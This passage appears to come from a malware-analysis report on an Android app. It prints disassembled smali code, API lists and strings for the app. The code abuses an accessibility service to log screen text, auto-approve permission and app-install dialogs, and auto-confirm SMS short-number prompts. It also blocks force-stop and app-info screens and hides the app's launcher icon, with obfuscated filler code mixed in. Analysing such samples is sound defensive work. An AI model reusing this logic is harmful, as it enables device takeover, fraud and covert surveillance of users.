                                            27invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                            28move-result-object v1
                                            30invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                            32invoke-virtual {p0, v0}, Limprove/harbor/eager/Permissions;->startActivity(Landroid/content/Intent;)V
                                            33return-void
                                            APIs
                                            • android.app.Service.onDestroy
                                            • improve.harbor.eager.AccessibilityWatcher.getPackageManager
                                            • android.content.ComponentName.<init>
                                            • android.content.pm.PackageManager.setComponentEnabledSetting
                                            • improve.harbor.eager.AccessibilityWatcher.a:Limprove/harbor/eager/g
                                            • java.lang.Integer.valueOf
                                            Strings
                                            • TXT_C_2
                                            • TXT_SERVICE_DESTROYED
                                            • SettingsActivity
                                            • TXT_ACTIVITY_DESTROYED
                                            • ACCESSIBILITY_WATCHER_RUNNING
                                            Position Instruction Meta Information
                                            1invoke-super {p0}, Landroid/app/Service;->onDestroy()V
                                            3const-string v0, "TXT_C_2"
                                            5invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            6move-result-object v0
                                            8const-string v1, "TXT_SERVICE_DESTROYED"
                                            10invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            11move-result-object v1
                                            13invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            15invoke-virtual {p0}, Limprove/harbor/eager/AccessibilityWatcher;->getPackageManager()Landroid/content/pm/PackageManager;
                                            16move-result-object v0
                                            17new-instance v1, Landroid/content/ComponentName;
                                            18const-class v2, Limprove/harbor/eager/SettingsActivity;
                                            20invoke-direct {v1, p0, v2}, Landroid/content/ComponentName;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                                            21const/4 v2, 0x2
                                            22const/4 v3, 0x1
                                            24invoke-virtual {v0, v1, v2, v3}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
                                            26const-string v0, "SettingsActivity"
                                            28const-string v1, "TXT_ACTIVITY_DESTROYED"
                                            30invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            31move-result-object v1
                                            33invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            35iget-object v0, p0, Limprove/harbor/eager/AccessibilityWatcher;->a:Limprove/harbor/eager/g;
                                            37const-string v1, "ACCESSIBILITY_WATCHER_RUNNING"
                                            38const/4 v2, 0x0
                                            40invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                            41move-result-object v2
                                            43invoke-virtual {v0, v1, v2}, Limprove/harbor/eager/g;->a(Ljava/lang/String;Ljava/lang/Integer;)V
                                            44return-void
                                            Cross References
                                            APIs
                                            • java.lang.reflect.Field.get
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;
                                            3}
                                            4.end annotation
                                            5const v0, 0x23813
                                            6sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            7sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            8const v1, 0xd9bcb
                                            9ushr-int/2addr v0, v1
                                            10sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            11sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            12iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            13const v2, 0x1ac46
                                            14if-gt v0, v2, :cond_21
                                            15sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            16xor-int/2addr v0, v1
                                            17int-to-float v0, v0
                                            18sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            19const/16 v0, 0x57
                                            20iput v0, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            21goto/16 :goto_4c
                                            22cond_21: const v2, 0x51f3e
                                            23if-le v0, v2, :cond_4c
                                            24const v2, 0x619d7
                                            25if-le v1, v2, :cond_4c
                                            26const v1, 0x6bed9
                                            27sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            28sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            29const v2, 0x77a84
                                            30shr-int/2addr v1, v2
                                            31sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            32const v1, 0x48616fc0 # 230847.0f
                                            33sget v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            34const v3, 0x487d0d40 # 259125.0f
                                            35div-float/2addr v1, v2
                                            36mul-float v2, v2, v3
                                            37sub-float/2addr v1, v2
                                            38sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            39sget v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            40and-int/2addr v0, v1
                                            41int-to-float v0, v0
                                            42sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            43goto_4c:
                                            44invoke-virtual {p1, p2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            45move-result-object p1
                                            46return-object p1
                                            Cross References
                                            APIs
                                            • java.lang.reflect.Field.get
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Throws;
                                            1value = {
                                            2Ljava/lang/IllegalAccessException;
                                            3}
                                            4.end annotation
                                            5sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->BqTtsuAZwkdJBFBSgQYP_531366:I
                                            6iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            7sget v2, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            8and-int/lit16 v1, v1, 0x2003
                                            9xor-int/2addr v1, v0
                                            10xor-int/2addr v1, v2
                                            11int-to-float v1, v1
                                            12sput v1, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            13const/16 v1, 0x3e
                                            14iput v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            15iget v1, p0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->OuOMmsIwOYbW_33:I
                                            16and-int/2addr v0, v1
                                            17int-to-float v0, v0
                                            18sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->rwYASfCJqxTsWOXMst_456503:F
                                            19const v0, 0xb32cd
                                            20sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            21sget v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            22const v1, 0xac879
                                            23shr-int/2addr v0, v1
                                            24sput v0, Laccess/pact/agent/DSyXdSaQaAqMbHiYhRnUmEqIrFcYhDhRcStJiMu;->dxqwBpGgIXJ_20:I
                                            26invoke-virtual {p1, p2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                            27move-result-object p1
                                            28return-object p1
                                            APIs
                                            • android.view.accessibility.AccessibilityEvent.getPackageName
                                            • java.lang.CharSequence.toString
                                            • android.view.accessibility.AccessibilityEvent.getClassName
                                            • java.lang.CharSequence.toString
                                            • android.view.accessibility.AccessibilityEvent.getText
                                            • java.lang.Object.toString
                                            • java.lang.String.toLowerCase
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.c:Ljava/lang/String
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.c:Ljava/lang/String
                                            • java.lang.String.contains
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.String.equals
                                            • java.lang.String.equals
                                            • java.lang.String.equals
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.c:Ljava/lang/String
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.c:Ljava/lang/String
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.b
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.contains
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.c:Ljava/lang/String
                                            • java.lang.String.contains
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.g:Ljava/lang/String
                                            • improve.harbor.eager.AccessibilityS.a
                                            • improve.harbor.eager.AccessibilityS.a:Ljava/util/ArrayList
                                            • java.util.ArrayList.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.lang.String.contains
                                            • improve.harbor.eager.AccessibilityS.j:Limprove/harbor/eager/g
                                            • java.lang.Integer.intValue
                                            • java.lang.StringBuilder.<init>
                                            • improve.harbor.eager.AccessibilityS.h:Ljava/lang/String
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • java.lang.StringBuilder.<init>
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.append
                                            • java.lang.StringBuilder.toString
                                            • improve.harbor.eager.AccessibilityS.a
                                            Strings
                                            • ALLDUMP
                                            • Package name:
                                            • , Class:
                                            • , Text:
                                            • ACCESSIBILITY
                                            • IS_PERMISSION is:
                                            • , IS_UPDATING:
                                            • GrantPermissionsActivity
                                            • TXT_C_1
                                            • TXT_1
                                            • com.android.settings
                                            • Dialog
                                            • TXT_2
                                            • com.android.settings.Settings$ManageAppExternalSourcesActivity
                                            • com.android.phone
                                            • android.app.AlertDialog
                                            • Accessibility
                                            • Auto confirming SMS Short number
                                            • com.android.packageinstaller.InstallAppProgress
                                            • com.google.android.packageinstaller
                                            • com.android.packageinstaller.PackageInstallerActivity
                                            • TXT_3
                                            • settings
                                            • force
                                            • TXT_4
                                            • => Pkg:
                                            • , FORCE STOP
                                            • ManagePermissionsActivity
                                            • TXT_5
                                            • com.android.settings.SubSettings
                                            • [app info]
                                            • TXT_6
                                            • - Listing all Apps
                                            • , VIEW APP INFO
                                            • com.android.settings.applications.InstalledAppDetailsTop
                                            • packageinstaller
                                            • AlertDialog
                                            • , AlertDialog
                                            • TXT_8
                                            • , TEST
                                            • vending
                                            • TXT_9
                                            • EXTENDED_INJECTION
                                            • &package=
                                            • TXT_10
                                            • :
                                            Position Instruction Meta Information
                                            1const-string v2, ""
                                            3const-string v1, ""
                                            5const-string v0, ""
                                            6try_start_6:
                                            7invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                                            8move-result-object v3
                                            10invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                            11move-result-object v2
                                            13invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getClassName()Ljava/lang/CharSequence;
                                            14move-result-object v3
                                            16invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                                            17move-result-object v1
                                            19invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getText()Ljava/util/List;
                                            20move-result-object v3
                                            22invoke-virtual {v3}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                            23move-result-object v3
                                            25invoke-virtual {v3}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                            26move-result-object v0
                                            27iget-boolean v3, p0, Limprove/harbor/eager/AccessibilityS;->k:Z
                                            28if-eqz v3, :cond_70
                                            30const-string v3, "ALLDUMP"
                                            31new-instance v4, Ljava/lang/StringBuilder;
                                            33const-string v5, "Package name:"
                                            35invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            37invoke-virtual {v4, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            38move-result-object v4
                                            40const-string v5, ", Class: "
                                            42invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            43move-result-object v4
                                            45invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            46move-result-object v4
                                            48const-string v5, ", Text: "
                                            50invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            51move-result-object v4
                                            53invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            54move-result-object v4
                                            56invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            57move-result-object v4
                                            59invoke-static {p0, v3, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            61const-string v3, "ACCESSIBILITY"
                                            62new-instance v4, Ljava/lang/StringBuilder;
                                            64const-string v5, "IS_PERMISSION is:"
                                            66invoke-direct {v4, v5}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                                            67sget-boolean v5, Limprove/harbor/eager/AccessibilityS;->e:Z
                                            69invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                                            70move-result-object v4
                                            72const-string v5, ", IS_UPDATING: "
                                            74invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            75move-result-object v4
                                            76sget-boolean v5, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            78invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                                            79move-result-object v4
                                            81invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            82move-result-object v4
                                            84invoke-static {p0, v3, v4}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            85cond_70:
                                            86const-string v3, "GrantPermissionsActivity"
                                            88invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            89move-result v3
                                            90if-eqz v3, :cond_91
                                            92const-string v0, "TXT_C_1"
                                            94invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            95move-result-object v0
                                            97const-string v1, "TXT_1"
                                            99invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            100move-result-object v1
                                            102invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            104invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            105move-result v0
                                            106if-nez v0, :cond_90
                                            108invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            109cond_90: return-void
                                            110cond_91: sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->e:Z
                                            111if-eqz v3, :cond_c6
                                            113const-string v3, "com.android.settings"
                                            115invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            116move-result v3
                                            117if-eqz v3, :cond_c6
                                            119const-string v3, "Dialog"
                                            121invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            122move-result v3
                                            123if-eqz v3, :cond_c6
                                            125iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            127invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            128move-result v3
                                            129if-eqz v3, :cond_c6
                                            131const-string v0, "TXT_C_1"
                                            133invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            134move-result-object v0
                                            136const-string v1, "TXT_2"
                                            138invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            139move-result-object v1
                                            141invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            143invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            144move-result v0
                                            145if-nez v0, :cond_90
                                            147invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            148goto/16 :goto_90
                                            149cond_c6:
                                            150const-string v3, "com.android.settings"
                                            152invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            153move-result v3
                                            154if-eqz v3, :cond_e2
                                            156const-string v3, "com.android.settings.Settings$ManageAppExternalSourcesActivity"
                                            158invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            159move-result v3
                                            160if-eqz v3, :cond_e2
                                            162invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            163move-result v3
                                            164if-nez v3, :cond_df
                                            166invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            167cond_df:
                                            168invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            169cond_e2: sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->f:Z
                                            170if-eqz v3, :cond_107
                                            172const-string v3, "com.android.phone"
                                            174invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            175move-result v3
                                            176if-eqz v3, :cond_107
                                            178const-string v3, "android.app.AlertDialog"
                                            180invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            181move-result v3
                                            182if-eqz v3, :cond_107
                                            184invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            185move-result v0
                                            186if-nez v0, :cond_ff
                                            188invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            189cond_ff:
                                            190const-string v0, "Accessibility"
                                            192const-string v1, "Auto confirming SMS Short number"
                                            194invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            195goto/16 :goto_90
                                            196cond_107: sget-boolean v3, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            197if-eqz v3, :cond_143
                                            199const-string v3, "com.android.packageinstaller.InstallAppProgress"
                                            201invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            202move-result v3
                                            203if-eqz v3, :cond_116
                                            205invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            206cond_116:
                                            207const-string v3, "com.google.android.packageinstaller"
                                            209invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            210move-result v3
                                            211if-eqz v3, :cond_143
                                            213const-string v3, "com.android.packageinstaller.PackageInstallerActivity"
                                            215invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            216move-result v3
                                            217if-eqz v3, :cond_143
                                            219const-string v0, "TXT_C_1"
                                            221invoke-static {v0}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            222move-result-object v0
                                            224const-string v1, "TXT_3"
                                            226invoke-static {v1}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            227move-result-object v1
                                            229invoke-static {p0, v0, v1}, Limprove/harbor/eager/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V
                                            230const/4 v0, 0x0
                                            231sput-boolean v0, Limprove/harbor/eager/AccessibilityS;->d:Z
                                            233invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            234move-result v0
                                            235if-nez v0, :cond_90
                                            237invoke-direct {p0, p1}, Limprove/harbor/eager/AccessibilityS;->a(Landroid/view/accessibility/AccessibilityEvent;)Z
                                            238goto/16 :goto_90
                                            239cond_143:
                                            240const-string v3, "settings"
                                            242invoke-virtual {v2, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            243move-result v3
                                            244if-eqz v3, :cond_1a0
                                            246const-string v3, "Dialog"
                                            248invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            249move-result v3
                                            250if-eqz v3, :cond_1a0
                                            252const-string v3, "force"
                                            254invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            255move-result v3
                                            256if-eqz v3, :cond_1a0
                                            258iget-object v3, p0, Limprove/harbor/eager/AccessibilityS;->c:Ljava/lang/String;
                                            260invoke-virtual {v0, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            261move-result v3
                                            262if-eqz v3, :cond_1a0
                                            263new-instance v3, Ljava/lang/StringBuilder;
                                            265invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                            267const-string v4, "TXT_4"
                                            269invoke-static {v4}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            270move-result-object v4
                                            272invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            273move-result-object v3
                                            275const-string v4, " => Pkg: "
                                            277invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            278move-result-object v3
                                            280invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            281move-result-object v3
                                            283const-string v4, ", Class: "
                                            285invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            286move-result-object v3
                                            288invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            289move-result-object v3
                                            291const-string v4, ", Text: "
                                            293invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            294move-result-object v3
                                            296invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            297move-result-object v3
                                            299const-string v4, ", FORCE STOP"
                                            301invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                            302move-result-object v3
                                            304invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                            305move-result-object v3
                                            307invoke-static {p0, v3}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            309invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            310cond_1a0:
                                            311const-string v3, "ManagePermissionsActivity"
                                            313invoke-virtual {v1, v3}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                            314move-result v3
                                            315if-eqz v3, :cond_1b4
                                            317invoke-direct {p0}, Limprove/harbor/eager/AccessibilityS;->b()V
                                            319const-string v3, "TXT_5"
                                            321invoke-static {v3}, Limprove/harbor/eager/j;->a(Ljava/lang/String;)Ljava/lang/String;
                                            322move-result-object v3
                                            324invoke-static {p0, v3}, Limprove/harbor/eager/c;->b(Landroid/content/Context;Ljava/lang/String;)V
                                            325cond_1b4:
                                            326const-string v3, "com.android.settings"
                                            328invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                            329move-result v3
                                            330if-eqz v3, :cond_1e8
                                            332const-string v3, "com.android.settings.SubSettings"
